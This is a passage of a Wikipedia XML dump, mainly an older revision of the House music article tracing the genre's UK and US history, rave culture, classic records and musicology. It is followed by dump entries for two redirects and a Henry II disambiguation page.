In [[United Kingdom|Britain]] the growth of house can be divided around the &quot;[[Second Summer of Love|Summer of Love]]&quot; in [[1988]]. House had a presence in Britain almost as early as it appeared in Chicago; however there was a strong divide between the House music as part of the gay scene and &quot;straight&quot; music. House grew in northern England, the Midlands and the South East. Founded in 1982 by [[Factory Records]] [[Fac 51 Hacienda|the Hacienda]] in [[Manchester]] became an extension of the &quot;[[Northern Soul]]&quot; genre and was one of the early, key English dance music clubs. Until 1986 the club was a financial disaster, the crowds only started to grow when the resident DJs (Pickering, Park and Da Silva) started to play house music. Many underground venues and DJ nights also took place across the U.K. like for instance the private parties hosted by an early [[Miss Moneypenny's]] contingent in [[Birmingham]] and many [[London]] venues. House was boosted in the UK by the tour in the same year of Knuckles, Jefferson, Fingers Inc. (Heard) and Adonis as the DJ International Tour. Amusingly, one of the early anthemic tunes, &quot;Promised Land&quot; by Joe Smooth, was covered and charted within a week by the [[Style Council]]. The first English House tune came out in [[1986]] - &quot;Carino&quot; by [[T-Coy]]. Europeans embraced house music, and began booking legendary American House DJs to play at the big clubs, such as [[Ministry of Sound]], whose resident, [[DJ Harvey]] brought in [[Larry Levan]].

The underground house scene in cities such as [[Birmingham]], [[Manchester]] and [[London]] were also provided with many underground [[Pirate Radio]] stations and DJ's alike which helped bolster an already contagious, but otherwise ignored by the mainstream, music genre.

One of the earliest and most influential UK house and techno record labels was [[Network Records]] (otherwise known as cool cat records) who helped introduced Italian and U.S. dance music to Britain as well as promoting select UK dance music acts.
[[Image:Oakenfold@Nation.jpg|thumb|left|[[Paul Oakenfold]]]]
But house was also developing on [[Ibiza]]. In the 1970s Ibiza was a hippy stop-over and a site for the rich, but by the mid-[[1980s]] a distinct [[Balearic Beat|Balearic]] mix of house was discernible. Several clubs like Amnesia with DJ Alfredo were playing a mix of rock, pop, disco and house. These clubs fueled by their distinctive sound and [[ecstasy (drug)|Ecstasy]] began to have an influence on the British scene. By late 1987 DJs like [[Paul Oakenfold]] and [[Danny Rampling]] were bringing the Ibiza sound to UK clubs like Shoom in Southwark ([[London]]), Heaven, Future and Purple Raines Spectrum in [[Birmingham]]. But the &quot;Summer of Love&quot; needed an added ingredient that would again come from America.

In America the music was being developed to create a more sophisticated sound, moving beyond just drum loops and short samples. New York saw this maturity evidenced in the slick production of disco house crossover tracks from artists such as [[Mateo &amp; Matos]]. In Chicago, Marshall Jefferson had formed the house 'super group' Ten City (from intensity), demonstrating the developments in &quot;That's the Way Love Is&quot;. In [[Detroit]] there were the beginnings of what would be called [[techno music|techno]], with the emergence of Juan Atkins, Derrick May and Kevin Saunderson. Atkins had already scored in 1982 with [[Cybotron]] and in 1985 he released Model 500 &quot;No UFOs&quot; which became a big regional hit, followed by dozens of tracks on Transmat, Metroplex and Fragile. One of the most unusual was  &quot;Strings of Life&quot; by [[Derrick May]]. The NME  described it as &quot;[[George Clinton (funk musician)|George Clinton]] and [[Kraftwerk]] stuck in an elevator&quot;. It  was a darker, more intellectual strain of house that followed its own trajectory. &quot;Techno-Scratch&quot; was released by the [[Knights Of The Turntable]] in 1984 which had a similar techno sound to Cybotron and is possibly where the term ''techno'' originated, although this is generally credited to Atkins, who borrowed the term from the phrase &quot;techno rebels&quot; which appeared in writer [[Alvin Toffler]]'s book ''[[Future Shock]]'' (see Sicko 1998).

The records were completely independent of the major record labels and the parties at which the tracks were played avoided commercial music.

The combination of house and techno came to Britain and gave House a phenomenal boost. A few clubs began to feature specialist House nights - the Hacienda had &quot;Hot&quot; on Wednesday from July [[1988]], 2,500 people could enjoy the British take on the Ibiza scene, the classic &quot;Voodoo Ray&quot; by [[A Guy Called Gerald]] (Gerald Simpson) was designed for the Hacienda and [[Madchester|''Mad''chester]]. Factory boss Tony Wilson also promoted acid house culture on his weekly TV show. The Midlands also embraced the late 80s House scene with many underground venues such as multi storey car parks and more legal dance stations such as the [[Digbeth Institute]] (now the 'Sanctuary' and home to [[Sundissential]]).

====Social aspects of raves====

&lt;!-- much of this could be transferred to [[rave party]], leaving a summary here, that article deals with the social aspects of rave more comprehensively --&gt; 

Rather than be confined in the clubs ambitious promoters took the music to large temporary sites such as fields, handling up to 30,000 people in a single illegal event, called a [[rave party|rave]].  Promoters like Sunrise, Energy, Biology, Fantasia and World Dance held massive events in defiance of the police and music industry. Unlike many [[nightclub]]s they were open to all ages and people.

The press led the general public to believe that the events were shaped solely by the consumption of [[ecstasy (drug)|ecstasy]], but others pointed out the music was refreshing and intoxicating enough without consumption of drugs.  The British tabloid press helped publicize the scene, generally portraying rave parties in a negative light, which tended to alarm institutions such as the government and the police. Many tunes became hits from  these events such as &quot;Everything Starts with a E&quot; by the E-Zee Possee,&quot; which was created by a savvy music producer rather than a band, &quot;The Trip&quot; by [[S'Express]] and &quot;NRG&quot; by [[Adamski]] who became the first rave superstar.

The publicity and the knowledge that these events could make significant amounts of money led more professionally criminal groups to take an interest in raves. The police became more active in preventing or closing down raves. As the second &quot;Summer of Love&quot; arrived in [[1989]] the police became even more oppressive, culminating in a [[1990]] Act of Parliament. This was counter-productive, it both forced raves back underground and increased the criminal presence in organising raves. But the music continued, one of the longest lasting and influential groups grew out of the rave scene, named [[Orbital (band)|Orbital]] after the [[M25 motorway]]. Their British hit &quot;Chime&quot; was snapped up by [[Pete Tong]]'s FFRR label. By the end of 1989 House was mainstream music in Britain, it charted regularly with &quot;Ride on Time&quot; from [[Black Box]] being at number one for six weeks.

Although some venues in [[Wales]] (such as Wentwood Forrest near Newport) were still successfully holding outdoor raves well into the early [[1990s]], the majority of outdoor raves from the Midlands, the North West and South East were gradually closed down by the police, this did not deter the events organisers and new indoor venues were once again sought. Large country venues that were used to entertain many hundreds of revellers and smaller (up until then) weaker commercial inner city nightclubs were exploited to fill the House scene gap. These events were fueled by illegal [[pirate radio]] stations, the mass production of [[flyer]]s and word of mouth.

The most significant revolution in house music took place in the very early 1990s with bedroom musicians like [[Unique 3]], [[LFO]], [[Nightmares on Wax]], [[N-Joi]], [[4-Hero]], [[Shut Up 'N' Dance]], [[Ryhmatic]] and [[Altern8]]. These Rave musicians were counted by their hundreds due to the way sampling had become affordable to the masses (thanks to [[Akai]]), hundreds of other one-off white label artists enjoyed instant fame like [[The Prodigy]] and [[Zero 7]], this unusual version of house steered away from the monotonous Balearic beats that prevailed at the time and eventually [[jungle music]], [[drum and bass]] and [[breakbeat]] eventuated by musicians who experimented with live breakbeats as opposed to the usual [[Roland 909 Drum Machine]] kick and snare.

===Developments in the United States in late 1980s to early 1990s===
Back in America the scene had still not progressed beyond a small number of clubs in Chicago and New York, Paradise Garage was still the top club, although they now had [[Todd Terry]], his tune &quot;Weekend&quot; demonstrated a new House sound with hip-hop influences evident in the quicker sampling and the more rugged bass-line. While [[hip-hop]] had made it onto radio play-lists, the only other choices were Rock, Country &amp; Western or R &amp; B.

Other influences from New York came from the hip-hop, raggae, and Latin community, and many of the New York City super producers/DJ's began surfacing for the first time (Erick Morillo, Roger Sanchez, Junior Sanchez, Danny Tenaglia, Jonathan Peters) with unique sounds that would evolve into other genres (tribal house, progressive house, funky house). 

Influential [[gospel music|gospel]]/[[R&amp;B]]-influenced Aly-us released &quot;Time Passes On&quot; in 1993 ([[Strictly Rhythm]]), then later, &quot;Follow Me&quot; which received radio airplay as well as being extensively played in clubs.  Another US hit which received radioplay was the single &quot;Time for the Perculator&quot; by [[Cajmere]], which became the prototye of [[Ghettohouse]] sub-genre.  Although these are generally grouped in with classic house now, the early 1990s sound was different from the early 1980s [[Chicago house]] [[WBMX]] sound - due at least in part to digital audio improvements, as well as influences from the Italian House scene led by [[Daniele Davoli]] of [[Black Box]] fame.

===After the &quot;Summer of Love&quot;: early 1990s to mid 1990s===
In Britain, further experiments in the genre boosted its appeal (and gave the opportunity for new names to be made up).

House and rave clubs like [[Lakota]], Miss Moneypenny's and the original [[C.R.E.A.M.]] began to emerge across Britain, hosting regular events for people who would otherwise have had no place to enjoy the mutating house and dance scene.

The idea of 'chilling out' was born in Britain with [[ambient house]] albums like the [[KLF]]'s ''Chill Out''.   However, this album is not house strictly speaking, because it's prominent lack of percussion on most tracks.  Another example would be the song &quot;Analogue BubbleBath&quot; by [[Aphex Twin]].  In fact, [[Chill Out]] electronic music is often defined as a totally different genres, such as [[Ambient]], or even [[downtempo]] (later on) or [[New Age]] (older).  The unifying feature of Chill Out electronica is long sustained tones and a more tonal than percussive-noisey quality compared to other styles.  Nevertheless, lots of compilation albums sprung up, no doubt, each one redefining the terminology along the way.

At the same time, a new indie dance scene full of variety was being forged by  bands like the [[Happy Mondays]], [[The Shamen]], [[New Order]], [[Meat Beat Manifesto]], [[Renegade Soundwave]], [[EMF (band)|EMF]], [[The Grid]] and [[The Beloved]].  In New York, bands such as [[Deee-Lite]] furthered house music's international and multi-era cultural influence.  Two distinctive tracks from this era were [[the Orb|the Orb's]] &quot;Little Fluffy Clouds&quot; (with a distinctive vocal sample from [[Rickie Lee Jones]]) and the Happy Mondays' &quot;Wrote for Luck&quot; (&quot;WFL&quot;) which was transformed into a dance hit by [[Paul Oakenfold]].

The [[Criminal Justice Bill of 1994]] was a government attempt to ban large events featuring music with &quot;repetitive beats&quot;. There were a number of abortive &quot;Kill the Bill&quot; demonstrations. Although the bill did become law in November 1994, it had little effect. The music continued to grow and change, as typified by the emergence of acts like [[Leftfield]] with &quot;Release the Pressure&quot;, which introduced dub and [[reggae]] into the house sound. In more commercial areas a mix of R&amp;B with stronger bass-lines gained favour.

The music was being moulded, not just by drugs, but also the mixed cultural and racial groups involved in the house music scene. Tunes like &quot;The Bouncer&quot; from Kicks Like a Mule used sped-up hip-hop [[breakbeat]]s. With SL2's &quot;On A [[Ragga]] Trip&quot; they gave the foundations to what would become [[drum and bass]] and [[jungle (music)|jungle]].  Initially called [[breakbeat hardcore]], it found popularity in London clubs like Rage as a &quot;inner city&quot; music. Labels like [[Moving Shadow]] and [[Reinforced]] became underground favorites.  One label, [[Moonshine]], featured impressive compilation albums entitled, &quot;140 BPM:  The Speed Limit&quot; which showcased what was termed &quot;London Hardcore [[Techno]]&quot;.  Showing an increased tempo around 160 [[beats per minute|bpm]], tunes like &quot;Terminator&quot; from [[Goldie]] marked a distinct change from house with heavier, faster and more complex bass-lines: [[drum and bass]] ([[dnb]].  Goldie's early work culminated in the twenty-two minute epic &quot;Inner City Life&quot; a hit from his debut album ''Timeless''.

[[UK Garage]] developed later, growing in the underground club scene from drum and bass ideas. Aimed more for dancing than listening, it produced distinctive tunes like &quot;Double 99&quot; from Ripgroove in [[1997]]. Gaining popularity amongst clubbers in Ibiza, it was re-imported to the UK and in a softened form had chart success: soon it was being applied to mainstream acts like [[Liberty X]] and [[Victoria Beckham]].

[[4 Hero]] went in the opposite direction - from brutal [[Breakbeat]]s they adopted more soul and jazz influences, and even a full orchestral section in their quest for sophistication. Later, this led directly to the West London scene known as [[Brokenbeat]] or [[Breakbeat]].  This style is also not strictly &quot;house&quot;, but as with all electronic music genres, there is overlap.

===Mid to late-1990s===
Back in the US some artists were finding it difficult to gain recognition. Another import into Europe of not only a style but also the creator himself was [[Joey Beltram]]. From Brooklyn his &quot;Energy Flash&quot; had proved rather too much for American House enthusiasts and he need a move to find success.  The American industry threw its weight behind DJs like [[Junior Vasquez]], [[Armand van Helden]] or even [[Masters at Work]] who appeared to churn out endless remixes of mainstream pop music.  Some argued that many of the formulaic remixes of Madonna, Kylie Minogue, U2, Britney Spears, the Spice Girls, Spiller, Mariah Carey, Puff Daddy, Elvis Presley, Vengaboys and other bands and pop divas did not deserve to be considered house records.

During this time many individuals and particularly corporations realized that house music could be extremely lucrative and much of the 1990s saw the rise of sponsorship deals and other industry practices common in other genres.

To develop successful hit singles, some argued that the record industry developed &quot;handbag house&quot;: throwaway pop songs with a retro disco beat.  Underground house DJs were reluctant to play this style, so a new generation of DJs were created from record company staff, and new clubs like Miss Moneypenny's, [[Liverpool]]'s [[Cream (nightclub)|Cream]] (as opposed to the original underground night, [[C.R.E.A.M.]]) and the [[Ministry of Sound]] were opened to provide a venue for more commercial sounds.

By [[1996]] [[Pete Tong]] had a major role in the playlist of [[BBC Radio 1]], and every record he released seemed to be guaranteed airplay. Major record companies began to open &quot;[[superclubs]]&quot; promoting their own acts, forcing many independent clubs and labels out of business. These superclubs entered into sponsorship deals initially with fast food, soft drinks, and clothing companies and later with banks and insurance brokers. Flyers in clubs in [[Ibiza]] often sported many corporate logos.

===House in the new millennium===
Dance music arguably hit its peak at the turn of the millennium, especially in the UK. A number of reasons are seen for its decline in mainstream popularity during the [[2000s]]:

* Many people felt that club promoters had gone too far in what they were asking people to pay on a weekly basis to enter clubs. A prime example was on [[New Year's Eve]] at the turn of the Millennium. Some promoters had been asking upwards of £100 ($180) to attend clubs and various event venues across the country. A large number of club goers instead decided to stay away all together or go to local parties. Many in general grew tired with paying up to £20 ($35) on a weekly basis for poor quality club nights which had little variation from week to week and venue to venue.

* Older people that had been with the scene from the beginning started to move away. Many in their 30's started having families and settling down. Many younger people viewed Dance music as becoming increasingly outmoded with the same set of DJ's playing in Clubs and on the Radio year after year. This led to the term &quot;Dad House&quot; being applied.

* The [[democratization]] and mainstreaming of electronic music composing through ever-cheaper computer software made electronic music as whole less novel and more commonplace.  This also affected its marketability, since most music marketing requires a high degree of novelty to drive sales and cultural interest.  

* Many older clubbers who did have families remained active in the scene, and small-scale events organisers, invariably not tied to a venue, began to appear to cater to a group that was increasingly ostracised by younger clubbers, and unable to go clubbing more than once or twice a month. This scene subsequently has expanded and about half of those involved are under 30.

* A lot of the same music was being played on commercial dance shows, and in bars, supermarkets, and television advertisements. This along with a lack of invention in the mainstream left many people feeling increasingly bored with the music. This has inevitably led to the music being forced back underground to its roots.

* [[Ecstasy (drug)|Ecstasy]], the drug of choice for many on the Dance scene during the late 80's and through out the 90's, started to lose its popularity to [[Cocaine]] and [[Ketamine]]. Both these drugs changed the nature and the atmosphere of the scene. In part this was due to the decreasing proportion of [[MDMA]] in Ecstasy, which was increasingly being cut with [[Amphetamines]], [[Ketamine]] as well as a generally greater amount of inert 'bulk' substances.

* The global rise of [[Hip hop music|hip hop]] during the late 90's as well as the re-emergence in the UK of a strong Rock and Indie scene drew many away from Dance Music.

* [[The Glade]], the UK's largest electronic dance festival, began in 2004 as an offshoot of the [[Glastonbury Festival]], featuring the UK's only dedicated Psytrance stage.

===House music today===
[[As of 2003]], a new generation of DJs and promoters, including [[James Zabiela]] and [[Mylo]], were emerging, determined to kickstart a more underground scene and there were signs of a renaissance in Philadelphia, Atlanta, Chicago, Detroit and other racially-mixed cities, as well as in Canada, Scandinavia, Scotland and Germany. For example, in 2004 the Montreal club [[Stereo nightclub|Stereo]], co-owned by House music legend David Morales and party aficionado Scott Lancaster, celebrated its sixth year in operation and in 2005 The Guvernment in Toronto with Mark Oliver is celebrating its 9th anniversary.  Stereo, opened in 1998, was modeled after the seminal New York City club [[Paradise Garage]], focusing the experience on the quality of sound and lighting. The key to house music was re-invention. A willingness to steal or develop new styles and a low cost of entry encouraged innovation.  The development of computers and the Internet play a critical role in this innovation.  One need only to examine how house music has evolved over time to evaluate the effect computers and the Internet have had on house music and music in general.

In 2005 house music finds itself at a crossroads. The soulful black and Latin-influenced sound that enjoyed popularity in the late '90s and early '00s has lost momentum and has been alienated from almost all generic and [[hit music]] [[radio station]]s. Audiences all over the world are fragmenting into different camps based around the old-guard house sound and a darker, more synth-driven sound influenced by '80s retro sentiment. Opinions are split on the new music that's trending in. Some consider it directionalism, and others see it as an entirely new genre of music, having more to do with techno, electonica and EBM music than house.

Just recently, [[Richard Daley]], Mayor of Chicago proclaimed August 10, 2005 to be House Unity Day in Chicago last July 27, 2005 in celebration of House Music's 21st anniversary. DJ's like Frankie Knuckles, Marshall Jefferson, Paul Johnson and Mickey Oliver were cited among the many other DJ's who came together to celebrate the proclamation at the Summer Dance Series event organized by Chicago's Department of Cultural Affairs.  DJ's such as DJ Chill X continues to keep house alive releasing classic house CD's at www.DJChillX.com to the many house lovers searching for the classic sounds. 

[[Saturday Night Live]] has a recurring sketch featuring [[Kenan Thompson]] and [[Rachel Dratch]] as reviewers of house music.  In a typical episode, several &quot;performers,&quot; usually including the week's guest, will each sing a parodically bad song, and then be interviewed by the hosts.  Dratch's comments are never interesting, a fact often pointed out by Thompson.


==Classic (genre-defining/-representing) house records==
*&quot;I Feel Love&quot; by [[Donna Summer]] ([[1977]])
*:Written by [[Giorgio Moroder]], featuring both the machine rhythms and erotic vocal sound bites in which one recognises a germination of house music -- the union of disco and electronic. Its bassline has been sampled on numerous electronic dance records.
*&quot;[[Trans-Europe Express (album)|Trans-Europe Express]]&quot; by [[Kraftwerk]] ([[1977]])
*:Played in New York discos in the late 70s, inspiring house, electro and techno DJs alike in the 80s, this track has made way for future house music and its techno off-spring. 
*&quot;[[Blue Monday (New Order song)|Blue Monday]]&quot; by [[New Order]] (1983)
*:Frequently considered the missing link between disco of the [[1970s]] and house of the 1980s. Importantly, it bridges the gap between electronic dance music and UK indie music fans in the post-punk 1980s. Has been sampled, remixed and covered by electronic dance producers all over the world.
*&quot;It's House&quot; by [[Chip E.]] (1985)
*:Written by [[Chip E.]], features keyboard work by Joe Smooth, often considered as the definition of Chicago House Music.
*:The first self referential &quot;house music&quot; record. The simplistic referential lyrics go &quot;It's House, It's House&quot; in varying pitch, to a driving bassline and percussion.
*&quot;Move Your Body (House Music Anthem)&quot; by [[Marshall Jefferson]] (1987)
*:The second self referential &quot;house music&quot; record. The referential portion of the lyrics go: &quot;Gotta have House Music all night long... With that House Music cant be wrong...&quot; 
*&quot;Acid Trax&quot; by [[Phuture]] (1986)
*:The first acid house song ever made. Made by DJ Pierre, Spanky J and Herbert in Chicago and gave birth to the whole acid house movement.
*&quot;Sinful&quot; by [[Pete Wylie]] (1986)
*:Anthemic indie number that presaged the indie-dance crossover that was to follow a number of years later.  Available in both stomping &quot;tribal mix&quot; by Zeus B. Held and &quot;the wickedest mix in town&quot; by Bert Bevans.  JBO cited this among their strongest influences (and rightly so).  The tagline &quot;It's sinful...It's tragic...&quot; would be chanted in indie raves in the early 90s thanks to rerelease (Pete Wylie and the Farm) and remixes by the likes of Farley and Heller.
*&quot;Theme from S'Express&quot; by [[S'Express]] (1988)
*:An acid house classic. Obviously disco-influenced, combined with funky acid 303 baseline.
*&quot;Release the Pressure&quot; by [[Leftfield]] (1991)
*:The first group to truly mix house music with external influences such as dub and reggae. Also credited with the creation of progressive house music.
*&quot;Dreamlover (Def Club Mix)&quot; by [[Mariah Carey]] (1993)
*:This classic [[David Morales]] remix is widely credited as the first record to bridge the gap between pop and house music. The trend of remixing pop records in this way continues today.
*[[49ers]] - Die Walkure
*[[Adeva]] - Respect; Warning
*[[Beatmasters]] - Rock da house
*[[Bizarre Inc]] - I'm Gonna Get You (ft [[Angie Brown]])
*[[Black Box]] - Ride on time; I don't know anybody else; Everybody; Strike it up
*[[Bomb The Bass]] - Beat Dis; Megablast; Bug Powder Dust
*[[Chip E.]] - Time 2 Jack
*[[Chip E.]] - Like This
*[[Chip E.]] - Godfather of House Music
*[[Coldcut]] - People hold on (ft [[Lisa Stansfield]])
*[[Crystal Waters]] - Gypsy Woman (she's homeless); Makin happy
*[[Daft Punk]] - [[Around the World (Daft Punk song)|Around the World]]
*[[D-Mob]] - We Call It Acieed; C'mon and Get My Love (feat. [[Cathy Dennis]]) 
*[[Double Dee]] - Found love
*[[Ecstasy]] - This is my House
*[[Farley Jackmaster Funk]] - Love Can't Turn Around 
*[[Fingers Inc.]] - Can You Feel It
*[[Frankie Knuckles]] - Your Love
*[[Hardrive]]- Deep Inside
*[[Hithouse]] - Jack To The Sound Of The Underground
*[[Jaydee]] - Plastic Dreams
*[[J.M. Silk]] - Jack Your Body
*[[Jomanda]] - Got A Love For You; Make my body rock
*[[Kraze]] - The Party
*[[Krush]] - House Arrest
*[[Latino Party]] - Esta Loca; Tequila
*[[Lil' Louis]] - French Kiss; I'm hot for you
*[[M/A/R/R/S]] - Pump Up The Volume 
*[[Mel &amp; Kim]] - Respectable
*[[Natalie Cole]] - Pink Cadillac (remix)
*[[Nightcrawlers]] - Push the Feeling On
*[[Paul Simpson]] - Musical Freedom
*[[Raze]] - Break For Love
*[[Royal House]] - Can You Feel It; Party People
*[[S-Express]] - Theme from S-Express
*[[Stardust (band)|Stardust]] - Music Sounds Better With You (1998)
*: French house hit.
*[[Steve Silk Hurley]] - Jack Your Body
*[[Technotronic]] - Pump up the jam
*[[Ten City]] - Devotion; That's the way love is
*[[Yazz]] - Stand up for your love rights; The only way is up

==Musicology==
House music is uptempo music for dancing and has a comparatively narrow tempo range, generally falling between 118 [[beats per minute]] (bpm) and 135 bpm, with 127 bpm being about average since [[1996]].

Far and away the most important element of the house drumbeat is the (usually very strong, synthesized, and heavily equalized) [[kick drum]] pounding on every quarter note of the 4/4 bar, often having a &quot;dropping&quot; effect on the dancefloor. Commonly this is augmented by various kick fills and extended dropouts (aka breakdowns). Add to this basic kick pattern [[hihat]]s on the [[note value|eighth-note]] offbeats (though any number of [[note value|sixteenth-note]] patterns are also very common) and a [[snare drum]] and/or clap on beats 2 and 4 of every bar, and you have the basic framework of the house drumbeat.

This pattern is derived from so-called &quot;[[four-on-the-floor (music)|four-on-the-floor]]&quot; dance drumbeats of the 1960s and especially the 1970's [[disco]] drummers. Due to the way house music was developed by DJs mixing records together, producers commonly layer sampled drum sounds to achieve a larger-than-life sound, filling out the audio spectrum and tailoring the mix for large club sound systems.

[[Techno music|Techno]] and [[trance music|trance]], the two primary dance music genres that developed alongside house music in the mid 1980s and early 1990s respectively, can share this basic beat infrastructure, but usually eschew house's live-music-influenced feel and black or Latin music influences in favor of more synthetic sound sources and approach.

== Further reading ==
*Sean Bidder ''Pump Up the Volume: A History of House Music'',  MacMillan, [[2002]], ISBN 0752219863
*Sean Bidder ''The Rough Guide to House Music'', Rough Guides, [[1999]], ISBN 1858284325
*Bill Brewster &amp; Frank Broughton ''Last Night a DJ Saved My Life: The History of the Disc Jockey'', Grove Press, [[2000]], ISBN 0802136885
*Simon Reynolds ''Energy Flash: a Journey Through Rave Music and Dance Culture'', (UK title,  Pan Macmillan, [[1998]], ISBN 0330350560), also released in US as ''Generation Ecstasy : Into the World of Techno and Rave Culture'' (US title, Routledge, [[1999]], ISBN  0415923735)
*Hillegonda C. Rietveld ''This is our House: House Music, Cultural Spaces and Technologies'', Ashgate, [[1998]], ISBN 1857422422

==Source==
*Peter Shapiro (2000) ''Modulations: A History of Electronic Music: Throbbing Words on Sound'', ISBN 189102406X.

==Online Radio==
* [http://www.di.fm/deephouse/info/ Digitally Imported's House Music Broadcast]
* [http://www.danceamp.com/ DanceAmp - House Music Radio]
* [http://www.edmradio.com/ EDM Radio - Electronic Dance Music]
* [http://www.friskyradio.com/ Frisky Radio]
* [http://www.grooveradio.com Groove Radio]
* [http://www.housefm.net HouseFM]
* [http://www.m1live.com/ M1 Live Radio Broadcasting Dance Music]
* [http://www.netmusique.com Netmusique Radio]
* [http://www.newdetroitradio.com/ New Detroit Radio]
* [http://www.nulog.com Nulog.com - Lazy House Radio]
* [http://www.protonradio.com Proton Radio] 
* [http://www.pr.fm Party Radio]
* [http://www.pulseradio.net Pulse Radio]

==See also==
*[[Styles of house music]]

==External links==
* [http://www.alfazen.com ''ALFAZEN.COM''] ALFAZEN.COM - Electronic Dance Music, feat. history, photos, interviews...
* [http://www.anthems.com/ ''Anthems.com''] - Dance music news plus DJ Mixes and a big dance music forum.
* [http://www.deephousepage.com ''Deep House Page''] Huge Archive of Classic House &amp; Disco Mixes and Large Community of old school house heads
*[http://www.deeplydeep.com Deeplydeep.com] - Deephouse, acid house and minimal house net label.
* [http://www.djnetz.com/community/modules/arms/view.php?w=art&amp;idx=87&amp;page=1 ''Booming B. - My Lifelong Dream''] a German DJ goes to the birthplace of house music (with English diaries)
*[http://www.deepindub.org/ Deepindub.org] - release mixes made from tracks from different net labels. Each mix focuses on one particular label, and main styles are deep house and minimal house.
* [http://www.ddance.fm ''DDance.fm''] The finest dj's broadcasted 24/7.  
* [http://www.djkennypalmer.co.uk ''DJ Kenny Palmer''] London based DJ who plays non commercial house and funky house. Website features DJ mixes, DJ chart, biography and booking details..  
* [http://www.dancefrontdoor.co.uk/ DanceFrontDoor] - UK dance music news and reviews site
* [http://www.di.fm/edmguide/edmguide.html Ishkur's Guide to Electronic Music] &amp;ndash; Flash-based site providing humorous summaries and audio examples of the different styles of modern electronic music, including many varieties of house.
* [http://deeprhythms.com ''Deeprhythms''],  The premier deep house page. 
*[http://www.djmitch.it Dj Mitch] - Deep and minimal house dj from the deepest Venice, Italy
*[http://www.DJChillX.com/ DJChillX.com] - Purchase The Classic House Mixes.
*[http://www.djonthemix.net/ Djonthemix.net] - Database and links related to house dj's.
* [http://www.elektromusik.com/house-radios ''Elektromusik.com''] Online Webradio directory including around 30 house radios.
* [http://www.flatandround.com ''Flat &amp; Round''] Well respected deep/tech house label from Manchester, UK. 
* [http://www.forpromotionalpurposesonly.net/ for promotional purposes only] - promote and listen to online house music 
* [http://michbuze.club.fr/zik/house.htm House.c.la] - wma samples &amp; music videos
* [http://www.housefreakz.com/ HouseFreakz] - Daily house music links for download
* [http://housemusicawards.com ''House Music Awards''] Awards for house music
* [http://www.housemusicforum.com ''HouseMusicForum.com''] the House Music Forum for all lovers from all over the world.
*[http://www.mix4mat.com/ mix4mat.com] - minimal house dj mixes, reviews, news.
*[http://www.masdeep.com Masdeep.com] - dedicated to deephouse music !.
*[http://www.musicismyworld.com/ Musicismyworld.com] - release mixes made from different fine selected great dj's. Main styles are  Deep House, minimal house and soulful house.
* [http://netmusique.com ''Netmusique.com''] Netmusique Netradio - House music and live shows on the Housemusique channel.
* [http://planetsoulnetwork.com ''Planetsoul Network''],  a non-commercial Deep House internet radio station
* [http://pitchforkmedia.com/features/weekly/05-11-28-house-and-techno.shtml From the Autobahn to I-94: The Origins of Detroit Techno and Chicago House] &amp;ndash; reminiscences by techno and house innovators
* [http://www.rogie.net/ ''Rogie.net''] - Dj Mixes of Deep House and the core of the early House scene: Disco Music and Electronics that heavily influenced the House and Techno sound.
* [http://www.residentadvisor.net/ Resident Advisor] - RA is an online dance music magazine
* [http://www.twistedhouse.com ''Twisted House''] An international dance music magazine 
* [http://www.thedjlist.com/ ''The DJ List''] - Hundreds of DJs categorized by genre, with loads of freely downloadble sessions.
* [http://www.trugroovez.com ''Trugroovez''] - Exclusive house mixes, record labels and dj sites.
* [http://www.undergroundhouse.net ''Underground House''] A community of over 14,000 members, features a massive archive of streaming dj mixes from some of the worlds most respected dj's. popular with industry people and clubbers alike. 
* [http://www.vmix.fr ''Vmix''],  The finest eclectic webradio and webzine from Paris
* [http://www.WorldDJ.com ''WorldDJ.com''] An online magazine, community and social networking hub dedicated to the global house and electronic dance music scene



{{Electronic_music-footer}}

[[Category:House music]]
[[Category:Electronic music genres]]
[[Category:Dance music]]
[[Category:Musical genres]]

[[cy:House]]
[[de:House]]
[[es:House]]
[[eo:Haŭso]]
[[fr:House]]
[[he:האוס]]
[[ko:하우스]]
[[it:House music]]
[[hu:House]]
[[nl:House]]
[[ja:ハウス (音楽)]]
[[no:House]]
[[pl:House]]
[[pt:House]]
[[ru:Хаус]]
[[simple:House music]]
[[fi:House]]
[[sv:House]]
[[zh:浩室]]</text>
    </revision>
  </page>
  <page>
    <title>History of Economic Thought</title>
    <id>13931</id>
    <revision>
      <id>15911515</id>
      <timestamp>2002-05-05T00:25:37Z</timestamp>
      <contributor>
        <username>Maveric149</username>
        <id>62</id>
      </contributor>
      <comment>*#redirect [[History of economic thought]]</comment>
      <text xml:space="preserve">#redirect [[History of economic thought]]
 </text>
    </revision>
  </page>
  <page>
    <title>House music/History of House Music</title>
    <id>13933</id>
    <revision>
      <id>15911517</id>
      <timestamp>2003-11-08T10:57:29Z</timestamp>
      <contributor>
        <username>Minesweeper</username>
        <id>7279</id>
      </contributor>
      <minor />
      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[House music]]</text>
    </revision>
  </page>
  <page>
    <title>Henry II</title>
    <id>13934</id>
    <revision>
      <id>34266164</id>
      <timestamp>2006-01-07T18:50:13Z</timestamp>
      <contributor>
        <username>Iamnotanorange</username>
        <id>332331</id>
      </contributor>
      <minor />
      <comment>t</comment>
      <text xml:space="preserve">Rulers with the title '''Henry II''' include:

*[[Henry II, Duke of Bavaria]] (951-995)
*'''[[Henry II, Holy Roman Emperor|Henry II of Germany]]''' (972-1024), Holy Roman Emperor
*[[Henry II of Austria]] (1107-1177)
*[[Henry II of Carinthia]] (died 1122)
*[[Henry II, Duke of Saxony]] (1108-1139)
*'''[[Henry II of England]]''' (1133-1189)
*[[Henry II of Champagne]] (1166-1197)
*[[Henry II of Poland]] (died 1246)
*[[Henry II, Duke of Brabant]] (1207-1248)
*[[Henry II, Duke of Swabia]] (1211-1242)
*[[Henry II, Count of Sayn]] (1202-1246)
*[[Henry II of Jerusalem]] (died 1324), also Henry II of Cyprus
*[[Henry II of Castile]] (1334-1379)
*[[Henry II of Navarre]] (1503-1555)
*'''[[Henry II of France]]''' (1519-1559)
*[[Henry II, Prince of Condé]] (1588-1646)
*[[Henri II de Montmorency]] (1595-1632)
*[[Hendrik II van Montfoort]]

{{disambig}}

[[es:Enrique II]]
[[fr:Henri II]]
[[it:Enrico II]]
[[nl:Hendrik II]]
[[pl:Henryk II]]
[[pt:Henrique II]]
[[ru:Генрих II]]
[[fi:Henrik II]]</text>
    </revision>
  </page>
  <page>
    <title>Higher-order predicate</title>
    <id>13936</id>
    <revision>
      <id>15911520</id>
      <timestamp>2004-06-10T16:05:20Z</timestamp>
      <contributor>
        <username>Charles Matthews</username>
        <id>12978</id>
      </contributor>
      <minor />
